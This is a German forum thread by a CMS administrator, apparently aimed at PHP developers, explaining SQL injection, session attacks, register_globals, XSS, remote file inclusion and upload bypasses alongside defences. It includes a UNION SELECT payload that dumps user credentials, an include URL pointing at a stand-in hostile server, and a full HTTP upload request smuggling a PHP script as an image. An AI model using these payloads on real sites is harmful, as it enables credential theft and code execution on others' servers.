Dienstag, 7. September 2010, 14:59 UTC+1

Master IV

Administrator

Registrierungsdatum: 24. September 2009

Beiträge: 327

1

Donnerstag, 20. November 2008, 14:23

Gängige Sicherheitslücken

MySQL Injection

Die SQL-Injection ist das wohl gängigste Verfahren unter den hier aufgelisteten. Bei ihr versucht man über GET oder POST Variablen zusätzlichen SQL Code einzuschleusen um sich Informationen aus der Datenbank zu verschaffen oder die Datenbank sogar zu beeinflussen. Wie funktioniert das? Nehmen wie einmal einen bekannten Fall das Horstische Newssystem:

Dort kam in der ursprünglichen Form etwa diese Zeile vor:

Quellcode

1
$comments = $db->get( $prefix."content_news_comments", "news_id = $_GET[news]", -1 , "id DESC" );


Wenn man davon ausgeht, das $_GET[news] immer eine Zahl sein müsste wäre diese Zeile absolut unbedenklich, allerdings ist dies nicht der Fall und man kann die GET Variablen in der URL frei verändern. So kann man beispielsweise statt einer Zahl auch "1 OR 1" angeben. Wenn man jetzt die GET Variable durch diese Bedingung erätzt sieht es wie folgt aus:

Quellcode

1
$comments = $db->get( $prefix."content_news_comments", "news_id = 1 OR 1", -1 , "id DESC" );


Da die Bedingung "1" immer erfüllt ist und beide Bedingungen mit OR verknüpft sind würden nun immer alle Kommentare ausgegeben. Bei den Kommentaren ist dies nun nicht weiter schlimm sondern eher bei Daten wo der User nur bestimmte Zeilen sehen soll. Nun kann man bei diesem Newsbeispiel aber noch einen schritt weiter gehen, wenn man statt dem "OR 1" ein sogenanntes UNION an die Variable anhängt. Ein Union verknüpft die Ergebnisse von zwei SQL-Abfragen und ermöglicht es somit neben den Kommentaren noch beliebige Inhalte anderer Tabellen auszugeben. Dies kann man auch mit der Usertabelle machen wenn die $_GET[news] beispielsweise folgenden Inhalt hätte:

Quellcode

1
1 UNION SELECT id, name author, email email, NULL ip, pass text, NULL date, NULL news_id, NULL panel FROM cms_user_data


Hieraus würde sich folgende abfrage ergeben:

Quellcode

1
SELECT * FROM `cms_content_news_comments` WHERE news_id = 1 UNION SELECT id, name author, email email, NULL ip, pass text, NULL date, NULL news_id, NULL panel FROM cms_user_data


Jeder kann diese Abfrage einmal ausprobieren und sich ausmalen was nun passiert, alle User und Passwörter werden als News Kommentare ausgegeben. Die Passwörter sind zwar verschlüsselt aber dank Rainbow Tables ist es heute kein Problem mehr diese zu knacken.

Nun muss man sich also fragen was kann man da gegen machen? Im Prinzip ist es sehr einfach sich gegen solche Angriffe abzusichern, dazu gibt es zwei Möglichkeiten. Die Einfachste ist immer von einer Zeichenkette auszugehen und alle GET und POST Werte in den abfragen zwischen einfache Anführungszeichen zu schreiben:

Quellcode

1
$comments = $db->get( $prefix."content_news_comments", "news_id = '$_GET[news]' ", -1 , "id DESC" );


Nun können keine Zusätzlichen Abfragen mehr angehängt werden, da diese als Bestandteil des Strings interpretiert würden und von MySQL in eine Zahl konvertiert würden. Wer sich nun sagt das könne man ja umgehen indem man einfach "1' OR '1" schreibt möge sich bitte mit der Funktion array_addslashes auseinandersetzen. Die andere Möglichkeit ist das Konvertieren in eine Zahl schon mit PHP vorzunehmen durch einen sogenannten Typecast. Dies würde folgendermaßen aussehen:

Quellcode

1
2
$_GET['news'] = (int) $_GET['news'];
$comments = $db->get( $prefix."content_news_comments", "news_id = $_GET[news]", -1 , "id DESC" );


Sicherheitshalber haben wir aber auch im IV4 die Passwortverschlüsselung der User geändert. Jedes Passwort wird nun mit einem individuellen Schlüssel versehen was die Verwendung von Rainbow Tables unbrauchbar macht. Bruteforce ist natürlich weiterhin möglich aber ein sehr aufwändiges Verfahren, daher sollte man trotzdem die Möglichkeit der MySQL-Injection vermeiden.

Was noch eine erwähnenswerte Sach ist die glücklicherweise in PHP nur durch absolute Inkompetenz zu erreichen ist ist die SQL-Injection durch Anhängen einer zweiten SQL-Anweisung. Da in einem mysql_query aber nur eine SQL Anweisung gestattet ist, fällt diese Möglichkeit in der Regel aus und kann nur durch Verwendung eine Funktion wie mysqli_multi_query erzeugt werden, wovon dringend abzuraten ist.

Angriffe gegen Sessions

Die Schwachstelle einer jeden Session ist die Session ID. Mit ihrer Hilfe wird der User einer Session zugeordnet. Ziel eines solchen Angriffes ist es die Session ID eines anderen Users zu erlangen (am besten eines Users mit vielen Rechten) um unter seiner Identität zu agieren und Schaden anzurichten.

Hierfür gibt es mehrere Möglichkeiten, die erste ist die ID zu erraten. Ich denke allerdings es ist wahrscheinlicher von einer Kokosnuss erschlagen zu werden. Eine beliebte Möglichkeit ist es sicher auch einen DAU einfach danach zu fragen, aber dagegen sind wir als Programmierer machtlos. Neben diesen eher sinnlosen Möglichkeiten und der Möglichkeit irgendwie den Datentransfer abzufangen gibt es noch zwei effizientere Methoden. Das XSS und die Session-Fixierung.

XSS werde ich weiter unten erklären, kommen wir also zur Fixierung. Hiebei errate ich nicht eine Bestehende ID sondern gebe eine Session ID vor. Wie macht man das? Neben der Weitergabe der Session ID als Cookie gibt es auch die Möglichkeit die Session ID per GET zu übergeben. Dies eröffnet die Möglichkeit mit Hilfe eines manipulierten Links dem User eine Session ID vorzugeben, zu warten bis er sich mit dieser ID einloggt und dann seine Session zu übernehmen.

All diese Möglichkeiten sollten beim CMS aber ausgehebelt sein, da neben der Session ID noch die IP einer Session geprüft wird und sobald jemand anderes versucht eine Session zu übernehmen der eine Abweichende IP hat wird die Session beendet. Also sollten euch auf diese Weise eigentlich nur Personen aus eurem Haus überlisten können.

Manipulation von Variablen

Die größte Gefahr ist hier das sogenannte register_globals welches eine Einstellung in der php.ini ist, welche dafür sorgt, dass alle $_REQUEST['variablename'] auch als $variablename zur Verfügung stehen. Aus Sicherheitsgründen wird empfohlen diese Einstellung nicht zu verwenden, da wir aber leider keinen Einfluss haben wir der User seinen Server konfiguriert hat müssen wir uns auch mit diesem Problem etwas genauer befassen.

In register_globals Umgebungen können nicht initialisierte Variablen unter Umständen über GET/POST/COOKIE-Werte überschrieben werden, der Klassiker dazu ist

Quellcode

1
2
3
if (condition) {
$authorized = TRUE;
}


Falls $authorized nicht im Vorfeld auf FALSE gesetzt wurde, kann ein Benutzer den Wert einfach durch $_GET['authorized'], $_POST['authorized'], oder $_COOKIE['authorized'] setzen.

Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von »Master IV« (29. Mai 2009, 13:21)


Master IV

Administrator

Registrierungsdatum: 24. September 2009

Beiträge: 327

2

Freitag, 29. Mai 2009, 13:21

XSS Cross Side Scripting

Cross Side Scripting (XSS nicht zu verwechseln mit CSS - Cascading Style Sheets ) bezeichnet das einschleusen von eigenem Scriptcode in fremde Seiten. Hierbei handelt es sich hauptsächlich um Javascript, natürlich ist bei entsprechend schlechter Programmierung auch PHP möglich weshalb vor dem Gebrauch von eval oft gewarnt wird.

Ein Beispiel wie man so mit Javascript relativ großen Schaden anrichten kann ist indem man auf die Cookies zugreift. Hier kann man einfach die entsprechende Session ID auslesen und an einen fremden Server senden (Beispielsweise mit der Ausgabe eines IFrames wo die Session ID als Parameter in der URL übergeben wird). Auf diesem Fremden Server kann nun ein Script laufen, welches mittels der geklauten Session ID in das System einbricht und dort mit allen Rechten des Benutzers Schaden anrichten kann. Ist der Benutzer ein Administrator kann dies schlimmer folgen haben.

Nun gibt es verschiedene Wege ein solches Script unter zu bringen. Das Schlimmste ist wenn man es wirklcih schafft das Script serverseitig dauerhaft unterzubringen. Dies kann z.B. in einer Datenbank sein. Um dies zu verhindern sollte man bei allen Daten die von einem Clienten kommen entweder vor dem eintragen in die Datenbank oder bei der ausgabe jeglichen HTML-Code unschädlich machen (beispielsweise mit htmlspecialchars oder strip_tags). Eine andere Möglichkeit die auf die Dummheit des Users angewiesen ist, ist es eine Lücke zu verwenden wo Code der vom Clienten kommt zwar nicht abgespeichert aber ungefiltert ausgegeben wird zu suchen. Hier muss man dem User dem man schaden möchte nur einen Link schicken welcher per GET der gewünschten schadhaften Code überträgt. Hierbei muss der User allerdings diesen manipulierten Link anklicken.

Obwohl sich viele augenscheinliche Sicherheitslücken öfter als harmlos entpuppen (eine Post variable die ungefiltert ausgegeben wird z.b., hiermit kann der angreifer sich höchstens selbst schaden) sollte man gegen XSS mit Javascript immer HTML-Code in den Ausgaben (oder Eingaben) vermeiden.

http://de3.php.net/manual/en/function.strip-tags.php
http://de3.php.net/manual/en/function.htmlspecialchars.php

Die weit aus schlimmere Form des XSS ist, wenn PHP-Dateien eingeschleust werden. Hiermit kann der Angreifer auf alle Quelltexte zugreiffen, einschließlich Konfigurationsdateien. Somit kann er auch auf die Datenbank zugreifen und je nach konfiguration der Datei-Rechte auch wild Dateien anlegen oder löschen. Hierzu gibt es zwei beliebte möglichkeiten.


Remote File Inclusion

Hierbei wird eine einstellung in der PHP.ini und die Faulheit des Programmierers ausgenutzt. Dabei muss im Programm eine Lücke vorhanden sein die dem folgenden Code ähnelt.

PHP-Quelltext

1
2
3
4
<?php
  if( emty$_GET['file'] )) include( "start.php" );
  else include( $_GET['file'].".php" );
?>


Das Ziel dieses Codes ist eigentlich ein simpler Include-Code der Dateien durch aufruf einer URL wie index.php?file=start in eine andere Datei (meist den Index) einbinden soll. Der Angreifer macht es sich nun zu nutze, dass die Einstellung allow_url_fopen auf on ist, was bedeutet das man auch Dateien auf enfernten Systemen öffnen kann, und manipuliert die URL indem er beispielsweise index.php?file=http://einboeserserver.de/eineboesedatei aufruft. Das Script wird nun keine lokale Datei aufrufen sondern den Code von http://einboeserserver.de/eineboesedatei.php aufrufen und ausführen. Hierbei wird natürlich nicht der Quelltext sondern die Ausgabe der entfernten Datei ausgeführt. Eine andere Schwachstelle dieses Codes ist, dass man ein solches Script durch den Aufruf von index.php?file=index problemlos in eine endlosschleife stürzen kann.

Sich hiervor zu schützen ist relativ einfach, man muss bei der Programmierung lediglich darauf achten, die Variabkle vor dem Includen zu validieren. Alternativ kan man auch url_fopen komplett verbieten.

Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von »Master IV« (29. Mai 2009, 14:03)


Master IV

Administrator

Registrierungsdatum: 24. September 2009

Beiträge: 327

3

Freitag, 29. Mai 2009, 14:03

Dateiuploads

Hier Hilft es einmal in das PHP manual zu schaun:

Zitat

$_FILES['userfile']['type'] The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.
Wie hier schon richtig steht, kann man sich auf die Type Angabe im $_FILES Array nicht verlassen. Daher ist es notwendig die Dateiendung zu prüfen. Wird nur der Type abgefragt ist es möglich durch Manipulation am HTTP-Request eine PHP Datei ein zu schleusen.

Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /admin.php?modul=16&element=1 HTTP/1.1
Host: master-iv.info
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://master-iv.info/admin.php?modul=16&element=1
Cookie: IVSESSID=eaeb4e1b8708d25bc61b6304efa17c9e
Content-Type: multipart/form-data; boundary=---------------------------26299170359894
Content-Length: 306
-----------------------------26299170359894
Content-Disposition: form-data; name="file0"; filename="einbild.php"
Content-Type: image/png

<?php

  $dir = opendir( "." );
  while( $file = readdir( $dir )) print $file."<br>";
  closedir( $dir );

?>
-----------------------------26299170359894--


Eine andere große Sicherheitslücke ist wenn der Server so konfiguriert ist, dass er pauschal alle Dateien durch den PHP Interpreter jagt. Dann ist es möglich eine PHP Datei einfach in ein Bildformat umzubenennen und diese kann ausgeführt werden.

Wie schon gesagt, sollte man hier die Endung der Datei prüfen um sich zumindest vor dem ersten Fall abzusichern und bei Bildern kann man sich zusätzlich absichern indem man versucht mit den PHP Bildbearbeitungsfunktionen auf eine Datei zuzugreifen. Bei manipulierten Bildern sollte dies fehlschlagen wodurch man auch letztere Attacken erkennen kann.



IV Entertainment   Impressum  
Copyright © 2009 IV Entertainment. Alle rechte vorbehalten.  Design made by RuntimeError
Forensoftware: Burning Board® 3, entwickelt von WoltLab® GmbH